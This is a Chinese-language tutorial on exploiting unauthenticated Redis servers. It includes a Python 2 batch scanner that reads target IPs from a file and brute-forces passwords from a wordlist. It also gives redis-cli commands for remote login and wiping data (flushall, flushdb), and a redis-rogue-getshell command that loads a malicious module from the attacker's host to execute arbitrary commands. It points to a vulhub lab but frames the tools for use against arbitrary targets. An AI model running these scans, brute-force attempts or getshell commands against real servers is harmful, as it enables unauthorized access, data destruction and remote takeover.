Redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
漏洞的危害
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
背景环境
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
复现地址
复现地址 vulhub/redis/4-unacc
脚本检测
redis 未授权批量检测工具脚本,该脚本支持弱口令检测
#!/usr/bin/python2
# -*- coding: utf-8 -*-
import socket
import sys
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[+] IP:{0}存在未授权访问".format(ip)
elif "Authentication" in result:
with open('pass.txt','r') as p:
passwds = p.readlines()
for passwd in passwds:
passwd = passwd.strip("\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK' in result:
return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
else:pass
else:pass
s.close()
except Exception, e:
return u"[+] IP:{0}已过滤".format(ip)
pass
if __name__ == '__main__':
port="6379"
with open('IP.txt','r') as f:
ips = f.readlines()
for i in ips:
ip = i.strip("\n")
result = check(ip,port,timeout=10)
print(result)
ip.txt和pass.txt 分别对应的是目标ip和弱口令 PS:需要在脚本同一目录下
redis-cli漏洞利用
kali安装redis-cli远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
使用redis-cli命令直接远程免密登录redis主机
无密码登录命令
redis-cli -h 目标主机IP
有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
对redis数据库操作
dbsize 查看所有key的数目
flushdb 删除当前选择数据库中的所有key
flushall 删除所有数据库中的所有key
save: 将数据同步保存到磁盘
bgsave: 异步保存
lastsave: 上次成功保存到磁盘的Unix时间戳
info: 查询server信息
config: 配置server
slaveof: 改变复制策略设置
getshell
地址:https://github.com/vulhub/redis-rogue-getshell
kali安装redis-getShell工具
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd RedisModulesSDK/
make
利用此工具进行getShell,执行任意命令
python3 redis-master.py -r 目标ip -p 6379 -L 本机ip -P 8888 -f RedisModulesSDK/exp.so -c “要执行的命令”